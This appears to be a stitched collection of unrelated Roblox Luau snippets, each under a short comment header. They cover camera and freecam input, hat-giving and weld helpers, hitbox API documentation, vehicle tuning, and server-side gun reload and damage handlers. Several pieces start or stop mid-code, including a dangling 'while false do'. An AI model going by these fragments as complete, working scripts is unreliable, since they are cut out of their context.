humanoid and humanoid.Torso then local tween = { from = this.RotateInput, to = calcLookBehindRotateInput(humanoid.Torso), start = tick(), duration = 0.2, func = function(from, to, alpha) to = calcLookBehindRotateInput(humanoid.Torso) if to then this.RotateInput = from + (to - from)*alpha end return to end } tweens["Rotate"] = tween -- reset old camera info so follow cam doesn't rotate us this.LastCameraTransform = nil end end end end lastTapTime = tick() end end) end MenuOpenedConn = GuiService.MenuOpened:connect(function() this:ResetInputStates() end) workspaceChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onCurrentCameraChanged) if workspace.CurrentCamera then onCurrentCameraChanged() end ShiftLockToggleConn = ShiftLockController.OnShiftLockToggled.Event:connect(function() this:UpdateMouseBehavior() end) this.RotateInput = Vector2.new() this.activeGamepad = nil local function assignActivateGamepad() local connectedGamepads = UserInputService:GetConnectedGamepads() if #connectedGamepads > 0 then for i = 1, #connectedGamepads do if this.activeGamepad == nil then this.activeGamepad = connectedGamepads[i] elseif connectedGamepads[i].Value < this.activeGamepad.Value then this.activeGamepad = connectedGamepads[i] end end end if this.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1 this.activeGamepad = Enum.UserInputType.Gamepad1 end end GamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum) if this.activeGamepad ~= gamepadEnum then return end this.activeGamepad = nil assignActivateGamepad() end) GamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum) if this.activeGamepad == nil then assignActivateGamepad() end end) self:BindGamepadInputActions() assignActivateGamepad() -- set mouse behavior self:UpdateMouseBehavior() end --Process tweens related to tap-to-recenter and double-tap-to-zoom --Needs to be called from specific cameras on each update function this:ProcessTweens() for name, tween in pairs(tweens) do local alpha = math.min(1.0, (tick() - tween.start)/tween.duration) tween.to = tween.func(tween.from, tween.to, alpha) if math.abs(1 - alpha) < 0.0001 then tweens[name] = nil end end end function this:SetEnabled(newState) if newState ~= self.Enabled then self.Enabled = newState if self.Enabled then self:ConnectInputEvents() self.cframe = workspace.CurrentCamera.CFrame else self:DisconnectInputEvents() end end end local function OnPlayerAdded(player) player.Changed:connect(function(prop) if this.Enabled then if prop == "CameraMode" or prop == "CameraMaxZoomDistance" or prop == "CameraMinZoomDistance" then this:ZoomCameraFixedBy(0) end end end) local function OnCharacterAdded(newCharacter) local humanoid = findPlayerHumanoid(player) local start = tick() while tick() - start < 0.3 and (humanoid == nil or humanoid.Torso == nil) do task.wait() humanoid = findPlayerHumanoid(player) end if humanoid and humanoid.Torso and player.Character == newCharacter then local newDesiredLook = (humanoid.Torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook()) local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y) if not IsFinite(horizontalShift) then horizontalShift = 0 end if not IsFinite(vertShift) then vertShift = 0 end this.RotateInput = Vector2.new(horizontalShift, vertShift) -- reset old camera info so follow cam doesn't rotate us this.LastCameraTransform = nil end -- Need to wait for camera cframe to update before we zoom in -- Not waiting will force camera to original cframe task.wait() this:ZoomCamera(this.DefaultZoom) end player.CharacterAdded:connect(function(character) if this.Enabled or SetCameraOnSpawn then OnCharacterAdded(character) SetCameraOnSpawn = false end end) if player.Character then spawn(function() OnCharacterAdded(player.Character) end) end end if PlayersService.LocalPlayer then OnPlayerAdded(PlayersService.LocalPlayer) end PlayersService.ChildAdded:connect(function(child) if child and PlayersService.LocalPlayer == child then OnPlayerAdded(PlayersService.LocalPlayer) end end) local function OnGameLoaded() hasGameLoaded = true end spawn(function() if game:IsLoaded() then OnGameLoaded() else game.Loaded:wait() OnGameLoaded() end end) local function OnDynamicThumbstickEnabled() if UserInputService.TouchEnabled then isDynamicThumbstickEnabled = true end end local function OnDynamicThumbstickDisabled() isDynamicThumbstickEnabled = false end local function OnGameSettingsTouchMovementModeChanged() if LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then if GameSettings.TouchMovementMode.Name == "DynamicThumbstick" then OnDynamicThumbstickEnabled() else OnDynamicThumbstickDisabled() end end end local function OnDevTouchMovementModeChanged() if LocalPlayer.DevTouchMovementMode.Name == "DynamicThumbstick" then OnDynamicThumbstickEnabled() else OnGameSettingsTouchMovementModeChanged() end end if PlayersService.LocalPlayer then PlayersService.LocalPlayer.Changed:Connect(function(prop) if prop == "DevTouchMovementMode" then OnDevTouchMovementModeChanged() end end) OnDevTouchMovementModeChanged() end GameSettings.Changed:Connect(function(prop) if prop == "TouchMovementMode" then OnGameSettingsTouchMovementModeChanged() end end) OnGameSettingsTouchMovementModeChanged() GameSettings:SetCameraYInvertVisible() pcall(function() GameSettings:SetGamepadCameraSensitivityVisible() end) return this end return CreateCamera
--Where the helicopter will return to--
local pitch,yaw,roll = myRoot.CFrame:ToEulerAnglesXYZ() local home = CFrame.new(body.Position) * CFrame.fromEulerAnglesXYZ(pitch,yaw,roll)
-- (Hat Giver Script - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Handle" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(2, 1, 2) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0, 0.35, 0) h.AttachmentRight = Vector3.new(1, -0, 0) h.AttachmentUp = Vector3.new(0, 0.995, -0.0995) h.AttachmentForward = Vector3.new(0, -0.0995, -0.995) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
-- On Startup
PhysicsService:CreateCollisionGroup(playerCollisionGroupName) PhysicsService:CollisionGroupSetCollidable(playerCollisionGroupName, playerCollisionGroupName, false)
------------------------------------------------------------------------
local Input = {} do local thumbstickCurve do local K_CURVATURE = 2.0 local K_DEADZONE = 0.15 local function fCurve(x) return (exp(K_CURVATURE*x) - 1)/(exp(K_CURVATURE) - 1) end local function fDeadzone(x) return fCurve((x - K_DEADZONE)/(1 - K_DEADZONE)) end function thumbstickCurve(x) return sign(x)*clamp(fDeadzone(abs(x)), 0, 1) end end local gamepad = { ButtonX = 0, ButtonY = 0, DPadDown = 0, DPadUp = 0, ButtonL2 = 0, ButtonR2 = 0, Thumbstick1 = Vector2.new(), Thumbstick2 = Vector2.new(), } local keyboard = { W = 0, A = 0, S = 0, D = 0, E = 0, Q = 0, U = 0, H = 0, J = 0, K = 0, I = 0, Y = 0, Up = 0, Down = 0, LeftShift = 0, RightShift = 0, } local mouse = { Delta = Vector2.new(), MouseWheel = 0, } local NAV_GAMEPAD_SPEED = Vector3.new(1, 1, 1) local NAV_KEYBOARD_SPEED = Vector3.new(1, 1, 1) local PAN_MOUSE_SPEED = Vector2.new(1, 1)*(pi/64) local PAN_GAMEPAD_SPEED = Vector2.new(1, 1)*(pi/8) local FOV_WHEEL_SPEED = 1.0 local FOV_GAMEPAD_SPEED = 0.25 local NAV_ADJ_SPEED = 0.75 local NAV_SHIFT_MUL = 0.25 local navSpeed = 1 function Input.Vel(dt) navSpeed = clamp(navSpeed + dt*(keyboard.Up - keyboard.Down)*NAV_ADJ_SPEED, 0.01, 4) local kGamepad = Vector3.new( thumbstickCurve(gamepad.Thumbstick1.X), thumbstickCurve(gamepad.ButtonR2) - thumbstickCurve(gamepad.ButtonL2), thumbstickCurve(-gamepad.Thumbstick1.Y) )*NAV_GAMEPAD_SPEED local kKeyboard = Vector3.new( keyboard.D - keyboard.A + keyboard.K - keyboard.H, keyboard.E - keyboard.Q + keyboard.I - keyboard.Y, keyboard.S - keyboard.W + keyboard.J - keyboard.U )*NAV_KEYBOARD_SPEED local shift = UserInputService:IsKeyDown(Enum.KeyCode.LeftShift) or UserInputService:IsKeyDown(Enum.KeyCode.RightShift) return (kGamepad + kKeyboard)*(navSpeed*(shift and NAV_SHIFT_MUL or 1)) end function Input.Pan(dt) local kGamepad = Vector2.new( thumbstickCurve(gamepad.Thumbstick2.Y), thumbstickCurve(-gamepad.Thumbstick2.X) )*PAN_GAMEPAD_SPEED local kMouse = mouse.Delta*PAN_MOUSE_SPEED mouse.Delta = Vector2.new() return kGamepad + kMouse end function Input.Fov(dt) local kGamepad = (gamepad.ButtonX - gamepad.ButtonY)*FOV_GAMEPAD_SPEED local kMouse = mouse.MouseWheel*FOV_WHEEL_SPEED mouse.MouseWheel = 0 return kGamepad + kMouse end do local function Keypress(action, state, input) keyboard[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0 return Enum.ContextActionResult.Sink end local function GpButton(action, state, input) gamepad[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0 return Enum.ContextActionResult.Sink end local function MousePan(action, state, input) local delta = input.Delta mouse.Delta = Vector2.new(-delta.y, -delta.x) return Enum.ContextActionResult.Sink end local function Thumb(action, state, input) gamepad[input.KeyCode.Name] = input.Position return Enum.ContextActionResult.Sink end local function Trigger(action, state, input) gamepad[input.KeyCode.Name] = input.Position.z return Enum.ContextActionResult.Sink end local function MouseWheel(action, state, input) mouse[input.UserInputType.Name] = -input.Position.z return Enum.ContextActionResult.Sink end local function Zero(t) for k, v in pairs(t) do t[k] = v*0 end end function Input.StartCapture() ContextActionService:BindActionAtPriority("FreecamKeyboard", Keypress, false, INPUT_PRIORITY, Enum.KeyCode.W, Enum.KeyCode.U, Enum.KeyCode.A, Enum.KeyCode.H, Enum.KeyCode.S, Enum.KeyCode.J, Enum.KeyCode.D, Enum.KeyCode.K, Enum.KeyCode.E, Enum.KeyCode.I, Enum.KeyCode.Q, Enum.KeyCode.Y, Enum.KeyCode.Up, Enum.KeyCode.Down ) ContextActionService:BindActionAtPriority("FreecamMousePan", MousePan, false, INPUT_PRIORITY, Enum.UserInputType.MouseMovement) ContextActionService:BindActionAtPriority("FreecamMouseWheel", MouseWheel, false, INPUT_PRIORITY, Enum.UserInputType.MouseWheel) ContextActionService:BindActionAtPriority("FreecamGamepadButton", GpButton, false, INPUT_PRIORITY, Enum.KeyCode.ButtonX, Enum.KeyCode.ButtonY) ContextActionService:BindActionAtPriority("FreecamGamepadTrigger", Trigger, false, INPUT_PRIORITY, Enum.KeyCode.ButtonR2, Enum.KeyCode.ButtonL2) ContextActionService:BindActionAtPriority("FreecamGamepadThumbstick", Thumb, false, INPUT_PRIORITY, Enum.KeyCode.Thumbstick1, Enum.KeyCode.Thumbstick2) end function Input.StopCapture() navSpeed = 1 Zero(gamepad) Zero(keyboard) Zero(mouse) ContextActionService:UnbindAction("FreecamKeyboard") ContextActionService:UnbindAction("FreecamMousePan") ContextActionService:UnbindAction("FreecamMouseWheel") ContextActionService:UnbindAction("FreecamGamepadButton") ContextActionService:UnbindAction("FreecamGamepadTrigger") ContextActionService:UnbindAction("FreecamGamepadThumbstick") end end end local function GetFocusDistance(cameraFrame) local znear = 0.1 local viewport = Camera.ViewportSize local projy = 2*tan(cameraFov/2) local projx = viewport.x/viewport.y*projy local fx = cameraFrame.rightVector local fy = cameraFrame.upVector local fz = cameraFrame.lookVector local minVect = Vector3.new() local minDist = 512 for x = 0, 1, 0.5 do for y = 0, 1, 0.5 do local cx = (x - 0.5)*projx local cy = (y - 0.5)*projy local offset = fx*cx - fy*cy + fz local origin = cameraFrame.p + offset*znear local _, hit = Workspace:FindPartOnRay(Ray.new(origin, offset.unit*minDist)) local dist = (hit - origin).magnitude if minDist > dist then minDist = dist minVect = offset.unit end end end return fz:Dot(minVect)*minDist end
--[[Weld functions]]
local JS = game:GetService("JointsService") local PGS_ON = workspace:PGSIsEnabled() function MakeWeld(x,y,type,s) if type==nil then type="Weld" end local W=Instance.new(type,JS) W.Part0=x W.Part1=y W.C0=x.CFrame:inverse()*x.CFrame W.C1=y.CFrame:inverse()*x.CFrame if type=="Motor" and s~=nil then W.MaxVelocity=s end return W end function ModelWeld(a,b) if a:IsA("BasePart") and a.Parent.Name ~= ("Lights") and a.Parent.Name ~= ("Chasis") and a.Parent.Name ~= ("RotLight") and a.Parent.Name ~= ("Door") then MakeWeld(b,a,"Weld") for i,v in pairs(a:GetChildren()) do if v ~= nil and v:IsA("BasePart") then ModelWeld(v,b) end end elseif a:IsA("Model") then for i,v in pairs(a:GetChildren()) do ModelWeld(v,b) end end end function UnAnchor(a) if a:IsA("BasePart") then a.Anchored=false end for i,v in pairs(a:GetChildren()) do UnAnchor(v) end end
--[[ ____________________________________________________________________________________________________________________________________________________________________________ If you have any questions, feel free to message me on DevForum. Credits not neccessary but is appreciated. [ How To Use - Quick Start Guide ] 1. Insert Attachments to places where you want your "hitbox" to be. For swords, I like to have attachments 1 stud apart and strung along the blade. 2. Name those Attachments "DmgPoint" (so the script knows). You can configure what name the script will look for in the variables below. 3. Open up a script. As an example, maybe we have a sword welded to the character or as a tool. Require this, and initialize: * Example Code local Damage = 10 local Hitbox = RaycastHitbox.new(Character) Hitbox.OnHit:Connect(function(hit, humanoid) print(hit.Name) humanoid:TakeDamage(Damage) end) Hitbox:HitStart() --- Turns on the hitbox wait(10) --- Waits 10 seconds Hitbox:HitStop() --- Turns off the hitbox 4. Profit. Refer to the API below for more information. ____________________________________________________________________________________________________________________________________________________________________________ [ RaycastHitBox API ] * local RaycastHitbox = require(RaycastHitboxV4) ---Duh --- To use, insert this at the top of your scripts or wherever. [ FUNCTIONS ] * RaycastHitbox.new(Instance model | BasePart | nil) Description --- Preps the model and recursively finds attachments in it so it knows where to shoot rays out of later. If a hitbox exists for this --- object already, it simply returns the same hitbox. Arguments --- Instance: (Like your character, a sword model, etc). Can be left nil in case you want an empty Hitbox or use SetPoints later Returns Instance HitboxObject * RaycastHitModule:GetHitbox(Instance model) Description --- Gets the HitboxObject if it exists. Returns --- HitboxObject if found, else nil * HitboxObject:SetPoints(Instance BasePart | Bone, table vectorPoints, string group) Description --- Merges existing Hitbox points with new Vector3 values relative to a part/bone position. This part can be a descendent of your original Hitbox model or can be an entirely different instance that is not related to the hitbox (example: Have a weapon with attachments and you can then add in more vector3 points without instancing new attachments, great for dynamic hitboxes) Arguments --- Instance BasePart | Bone: Sets the part/bone that these vectorPoints will move in relation to the part's origin using Vector3ToWorldSpace --- table vectorPoints: Table of vector3 values. --- string group: optional group parameter * HitboxObject:RemovePoints(Instance BasePart | Bone, table vectorPoints) Description --- Remove given Vector3 values provided the part was the same as the ones you set in SetPoints Arguments --- Instance BasePart | Bone: Sets the part that these vectorPoints will be removed from in relation to the part's origin using Vector3ToWorldSpace --- table vectorPoints: Table of vector3 values. * HitboxObject:LinkAttachments(Instance attachment1, Instance attachment2) Description --- Set two attachments to be in a link. The Raycast module will raycast between these two points. Arguments --- Instance attachment1/attachment2: Attachment objects * HitboxObject:UnlinkAttachments(Instance attachment1) Description --- Removes the link of an attachment. Only needs the primary attachment (argument 1 of LinkAttachments) to work. Will automatically sever the connection to the second attachment. Arguments --- Instance attachment1: Attachment object * HitboxObject:HitStart(seconds) Description --- Starts drawing the rays. Will only damage the target once. Call HitStop to reset the target pool so you can damage the same targets again. If HitStart hits a target(s), OnHit event will be called. Arguments --- number seconds: Optional numerical value, the hitbox will automatically turn off after this amount of time has elapsed * HitboxObject:HitStop() Description --- Stops drawing the rays and resets the target pool. Will do nothing if no rays are being drawn from the initialized model. * HitboxObject.OnHit:Connect(returns: Instance part, returns: Instance humanoid, returns: RaycastResults, returns: String group) Description --- If HitStart hits a fresh new target, OnHit returns information about the hit target Arguments --- Instance part: Returns the part that the rays hit first --- Instance humanoid: Returns the Humanoid object --- RaycastResults RaycastResults: Returns information about the last raycast results --- String group: Returns information on the hitbox's group * HitboxObject.OnUpdate:Connect(returns: Vector3 position) Description --- This fires every frame, for every point, returning a Vector3 value of its last position in space. Do not use expensive operations in this function. [ PROPERTIES ] * HitboxObject.RaycastParams: RaycastParams Description --- Takes in a RaycastParams object * HitboxObject.Visualizer: boolean Description --- Turns on or off the debug rays for this hitbox * HitboxObject.DebugLog: boolean Description --- Turns on or off output writing for this hitbox * HitboxObject.DetectionMode: number [1 - 3] Description --- Defaults to 1. Refer to DetectionMode subsection below for more information [ DETECTION MODES ] * RaycastHitbox.DetectionMode.Default Description --- Checks if a humanoid exists when this hitbox touches a part. The hitbox will not return humanoids it has already hit for the duration --- the hitbox has been active. * RaycastHitbox.DetectionMode.PartMode Description --- OnHit will return every hit part (in respect to the hitbox's RaycastParams), regardless if it's ascendant has a humanoid or not. --- OnHit will no longer return a humanoid so you will have to check it. The hitbox will not return parts it has already hit for the --- duration the hitbox has been active. * RaycastHitbox.DetectionMode.Bypass Description --- PERFORMANCE MAY SUFFER IF THERE ARE A LOT OF PARTS. Use only if necessary. --- Similar to PartMode, the hitbox will return every hit part. Except, it will keep returning parts even if it has already hit them. --- Warning: If you have multiple raycast or attachment points, each raycast will also call OnHit. Allows you to create your own --- filter system. ____________________________________________________________________________________________________________________________________________________________________________ --]]
--[[ ]]
local Players = game:GetService("Players") local ReplicatedStorage = game:GetService("ReplicatedStorage") local Http = game:GetService("HttpService") local AvatarEditor = ReplicatedStorage.AvatarEditor local Promise = require(AvatarEditor.Shared.Util.Promise) local Colors = require(AvatarEditor.Shared.Colors) local player = Players.LocalPlayer local ids = nil local skintone = nil local scales = nil local idProperties = { "BackAccessory", "FaceAccessory", "FrontAccessory", "HairAccessory", "HatAccessory", "NeckAccessory", "ShouldersAccessory", "WaistAccessory", "Face", "Head", "LeftArm", "LeftLeg", "RightArm", "RightLeg", "Torso", "ClimbAnimation", "FallAnimation", "IdleAnimation", "JumpAnimation", "RunAnimation", "SwimAnimation", "WalkAnimation", "Pants", "Shirt", } local scaleProperties = { "BodyTypeScale", --"DepthScale", "HeadScale", "HeightScale", "ProportionScale", "WidthScale", } local module = {} module.UID = Http:GenerateGUID(false) local function getHumanoid() local character = player.Character local humanoid = character and character:FindFirstChildWhichIsA("Humanoid") if humanoid then return humanoid end end local function getHumanoidDescription() return Promise.new(function(resolve, reject) local humanoid = getHumanoid() if not humanoid then return Promise.reject("no humanoid") end local description = humanoid:GetAppliedDescription() if description then resolve(description) else reject("description not found") end end) :andThen(function(description) ids = {} for i, v in ipairs(idProperties) do local values = string.split(description[v], ",") for j, k in ipairs(values) do if k == "" or k == "0" then continue end ids[tonumber(k)] = true end end scales = {} for i, v in ipairs(scaleProperties) do scales[v] = description[v] end skintone = description.HeadColor end) :catch(warn) :finally(function() if ids == nil then ids = {} end end) end function module:Get() if ids == nil then getHumanoidDescription():await() end return ids end function module:GetTone() if skintone == nil then getHumanoidDescription():await() end return skintone end function module:GetScale() if scales == nil then getHumanoidDescription():await() end return scales end function module:Update() getHumanoidDescription():await() self.UID = Http:GenerateGUID(false) end return module
-- Static variables
local _VOLUME = 32 -- Part Vector3.new(4, 1, 8) local _DENSITY = 0.7 -- Default density
--// # key, ManOff
mouse.KeyUp:connect(function(key) if key=="h" then veh.Lightbar.middle.Man:Stop() veh.Lightbar.middle.Wail.Volume = 3 veh.Lightbar.middle.Yelp.Volume = 3 veh.Lightbar.middle.Priority.Volume = 3 script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(62, 62, 62) veh.Lightbar.MAN.Transparency = 1 end end)
--[[ Derived classes are required to override and implement all of the following functions ]]
-- function BaseOcclusion:GetOcclusionMode() -- Must be overridden in derived classes to return an Enum.DevCameraOcclusionMode value warn("BaseOcclusion GetOcclusionMode must be overridden by derived classes") return nil end function BaseOcclusion:Enable(enabled) warn("BaseOcclusion Enable must be overridden by derived classes") end function BaseOcclusion:Update(dt, desiredCameraCFrame, desiredCameraFocus) warn("BaseOcclusion Update must be overridden by derived classes") return desiredCameraCFrame, desiredCameraFocus end return BaseOcclusion
-- Create ParticleEffect for specified part (being destroyed)
local function createParticles(parentPart) local particles = Instance.new("ParticleEmitter") particles.Name = "Particles" particles.Parent = parentPart particles.Texture = "rbxassetid://3127279684" -- Points icon particles.Size = NumberSequence.new(.75) particles.Acceleration = Vector3.new(0, -15, 0) particles.Lifetime = NumberRange.new(0.5, 1.5) particles.Speed = NumberRange.new(15) particles.SpreadAngle = Vector2.new(30, 30) particles.Rate = 20 local particleThread = coroutine.create(function() wait(0.75) particles.Enabled = false DebrisService:AddItem(particles, 0.75) end) coroutine.resume(particleThread) return particles end local function getHittableWhitelist() local map = mapManager.getMap() if not map then return false end local highPoints = map:FindFirstChild("HighPoints") local mediumPoints = map:FindFirstChild("MediumPoints") local lowPoints = map:FindFirstChild("LowPoints") return {highPoints, mediumPoints, lowPoints} end local function getHit(player) -- Destroy parts touching the player's right hand if they are in the map and not a prop (and award points) local humanoidRootPart = player.Character:FindFirstChild("HumanoidRootPart") if not humanoidRootPart then return end local origin = humanoidRootPart.Position + PUNCH_HEIGHT_OFFSET -- Lower the origin local aimDirection = humanoidRootPart.CFrame.lookVector -- create a ray aiming the same way as player local ray = Ray.new(origin, aimDirection * PUNCH_RANGE) -- Create a whitelist for the map folders local hittableWhitelist = getHittableWhitelist() if not hittableWhitelist then return end -- raycast local hit, position = workspace:FindPartOnRayWithWhitelist(ray, hittableWhitelist, true) return hit end local function handleHit(hit, player) local model = getModel(hit) if model and isModelDestroyed(hit, destroyedModels) then return end -- Get topmost ancestor (for cases where touched part is part of a model) local topAncestor = getTopAncestor(hit) -- Points type matching name of ancestor folder local pointsType = topAncestor.Parent.Name -- Add member to debris DebrisService:AddItem(topAncestor, 0.01) -- Add model to destroy model table to track before Debris does garbage -- collection and removes it table.insert(destroyedModels, topAncestor) -- Make part/model non-collidable if topAncestor:IsA("Model") then breakModel(topAncestor) else topAncestor.CanCollide = false end createSmoke(topAncestor) local debris = createDebris(topAncestor) createParticles(debris) -- Award points leaderboardManager:incrementStat(player, "Points", gameSettings.pointValues[pointsType]) end
--[[ Utility Functions ]]
-- local function IsFinite(num: number) return num == num and num ~= 1/0 and num ~= -1/0 end local function IsFiniteVector3(vec3) return IsFinite(vec3.x) and IsFinite(vec3.y) and IsFinite(vec3.z) end local movementUpdateEvent = Instance.new("BindableEvent") movementUpdateEvent.Name = "MovementUpdate" movementUpdateEvent.Parent = script coroutine.wrap(function() local PathDisplayModule = script.Parent:WaitForChild("PathDisplay") if PathDisplayModule then PathDisplay = require(PathDisplayModule) end end)()
--[[ Returns the item transparency binding for a single item. Used for coordinating slide + fade animations: image should fade to the inactive state as we are sliding. ]]
modules.getItemTransparency = function(self) return function(renderedIndex, index, mid) -- Avoid the same image being shown as selected when they are shown on the same page local isSelected = self.state.selectedIndex == index and renderedIndex == mid -- Offset from the current selected index local offset = mid - renderedIndex return self.position:map(function(position) if not self.isAnimating then return isSelected and TRANSPARENCY_SELECTED or TRANSPARENCY_NOT_SELECTED end local progress = 0 if self.target:getValue() ~= 0 then progress = position / self.target:getValue() end local res if isSelected then -- Current selected (we should fade this out since we only set state AFTER the position -- animation completes) res = progress * TRANSPARENCY_NOT_SELECTED elseif self.formatTargetIndex(index, offset) == self.targetIndex then -- Target rendered index that we want to get to res = TRANSPARENCY_NOT_SELECTED * (1 - progress) else -- Every other image res = TRANSPARENCY_NOT_SELECTED end return res end) end end return modules
--Damage
HitBox.Touched:Connect(function(A) if Activo.Value == true then if A.Parent:FindFirstChild("Humanoid") then A.Parent.Humanoid.Health = A.Parent.Humanoid.Health - 40 end end end)
--EDIT BELOW----------------------------------------------------------------------
settings.PianoSoundRange = 70 settings.KeyAesthetics = true settings.PianoSounds = { "251400436", "251427671", "251427880", "251428187", "251428448", "251428570" }
--//Script\\--
function whileTouching() script.Parent.AutomaticF.Disabled = false end function letGo() script.Parent.Lighted.Disabled = true script.Parent.LightedOff.Disabled = false wait(1) --wait(1.4) script.Parent.AutoFlush.Disabled = false script.Disabled = true end
--if something doesn't work, pls contact me on YT or on discord: https://discord.gg/jpSF5jA
-- Appeler la fonction pour déplacer MovingPart vers Projection
pp.Triggered:Connect(function() moveTowardsProjection() end)
-- Get the UserInputService
local userInputService = game:GetService("UserInputService")
--> References
local Fountain = script.Parent local HealPart = Fountain.Heal
-- Written By Kip Turner, Copyright Roblox 2014
local newClickToMove = script:FindFirstChild("NewClickToMove") if newClickToMove then local newClickToMoveFlagSuccess, newClickToMoveFlagEnabled = pcall(function() return UserSettings():IsUserFeatureEnabled("UserUseNewClickToMove") end) local useNewClickToMove = newClickToMoveFlagSuccess and newClickToMoveFlagEnabled if useNewClickToMove then return require(newClickToMove) end end local UIS = game:GetService("UserInputService") local PathfindingService = game:GetService("PathfindingService") local PlayerService = game:GetService("Players") local RunService = game:GetService("RunService") local DebrisService = game:GetService('Debris') local ReplicatedStorage = game:GetService('ReplicatedStorage') local CameraScript = script.Parent local ClassicCameraModule = require(CameraScript:WaitForChild('RootCamera'):WaitForChild('ClassicCamera')) local Player = PlayerService.localPlayer local MyMouse = Player:GetMouse() local DirectPathEnabled = false local SHOW_PATH = false local Y_VECTOR3 = Vector3.new(0, 1, 0) local XZ_VECTOR3 = Vector3.new(1, 0, 1) local ZERO_VECTOR3 = Vector3.new(0, 0, 0) local ZERO_VECTOR2 = Vector2.new(0, 0) local RayCastIgnoreList = workspace.FindPartOnRayWithIgnoreList local GetPartsTouchingExtents = workspace.FindPartsInRegion3 local math_min = math.min local math_max = math.max local math_pi = math.pi local math_floor = math.floor local math_abs = math.abs local math_deg = math.deg local math_acos = math.acos local math_sin = math.sin local math_atan2 = math.atan2 local Vector3_new = Vector3.new local Vector2_new = Vector2.new local CFrame_new = CFrame.new local CurrentSeatPart = nil local DrivingTo = nil
------
local M = require(game.ServerScriptService["GC Server"].Services.CPRaid); while false do
--this'll be grey "Spawn" if a car isn't selected
script.Parent.MouseButton1Click:connect(function() script.Parent.Parent.WearOutfit:Fire() end)
-- place this LocalScript into your thirst ScreenGui
local Engine = game.ReplicatedStorage:WaitForChild("ACS_Engine") local ServerConfig = require(Engine.ServerConfigs:WaitForChild("Config")) local thirstGui = script.Parent local MedicSys = game.ReplicatedStorage.ACS_Engine.Eventos.MedSys
--[[Engine]]
--Torque Curve Tune.Horsepower = 210 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 100 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
-- <Region> CreateRegionFromPart(<BasePart> Part)
--Creates Region from BasePart --Returns <Region> local function CreateRegionFromPart(Part) local Center = Part.Position local Size = Part.Size local X, Y, Z = Part.CFrame:toEulerAnglesXYZ() local Rotation = Vector3.new(X, Y, Z) return CreateRegion(Center, Rotation, Size) end
--Prizes starting from the TOP POSITION and going ANTI-CLOCKWISE.
local prizes = { 500, 100, 300, 200, 100, 300, 750, 100, 300, 200, 100, 200, 100, 200, 100, 200, } return prizes
-- events
REMOTES.Reload.OnServerEvent:connect(function(player, item) local character = player.Character if character then local equipped = character.Equipped local ammo = character.Ammo if equipped.Value == item then local config = CONFIG:GetConfig(item) local storedAmmo = ammo[config.Size] local itemAmmo = item.Ammo if storedAmmo.Value > 0 then if cancels[item] then cancels[item] = nil end local magazine = config.Magazine for _, p in pairs(Players:GetPlayers()) do if p ~= player then REMOTES.Effect:FireClient(p, "Reload", item) end end local needed = magazine - itemAmmo.Value local start = tick() local elapsed = 0 repeat elapsed = tick() - start RunService.Stepped:wait() until elapsed >= config.ReloadTime or equipped.Value ~= item or cancels[item] if equipped.Value == item then if elapsed >= config.ReloadTime then if storedAmmo.Value >= needed then itemAmmo.Value = itemAmmo.Value + needed storedAmmo.Value = storedAmmo.Value - needed else itemAmmo.Value = itemAmmo.Value + storedAmmo.Value storedAmmo.Value = 0 end end end if cancels[item] then cancels[item] = nil end end end end end) REMOTES.Hit.OnServerEvent:connect(function(player, hit, index) spawn(function() -- spawn to avoid race conditions local shot = shots[player] if shot then local character = player.Character local equipped = character.Equipped if equipped.Value == shot.Item then local humanoid = hit.Parent:FindFirstChildOfClass("Humanoid") if humanoid then if DAMAGE:PlayerCanDamage(player, humanoid) then local position = shot.Position local direction = shot.Directions[index] local config = shot.Config if direction then local ray = Ray.new(position, direction) local distance = (hit.Position - position).Magnitude local ignore = {} for _, p in pairs(Players:GetPlayers()) do if p.Character then table.insert(ignore, p.Character) end end --local h = Raycast(position, direction.Unit * distance, ignore) if distance <= config.Range then --and (not h) then local offset = ray:Distance(hit.Position) if offset < 15 then if humanoid.Health > 0 then shot.Directions[index] = nil local numDir = 0 for _, v in pairs(shot.Directions) do if v then numDir = numDir + 1 end end if numDir == 0 then shots[player] = nil end local down = humanoid:FindFirstChild("Down") local alreadyDowned = false if down then alreadyDowned = down.Value end local damage = DAMAGE:Calculate(shot.Item, hit, position) DAMAGE:Damage(humanoid, damage, player) local otherPlayer = Players:GetPlayerFromCharacter(humanoid.Parent) if otherPlayer then REMOTES.HitIndicator:FireClient(otherPlayer, direction, damage) end if humanoid.Health <= 0 then for _, part in pairs(humanoid.Parent:GetChildren()) do if part:IsA("BasePart") then part.Velocity = direction * config.Damage end end local killDist = math.floor((position - humanoid.Parent.HumanoidRootPart.Position).Magnitude + 0.5) STAT_SCRIPT.FurthestKill:Fire(player, killDist) REMOTES.Killfeed:FireAllClients(player.Name, humanoid.Parent.Name, shot.Item.Name, killDist) end end end end end end end end 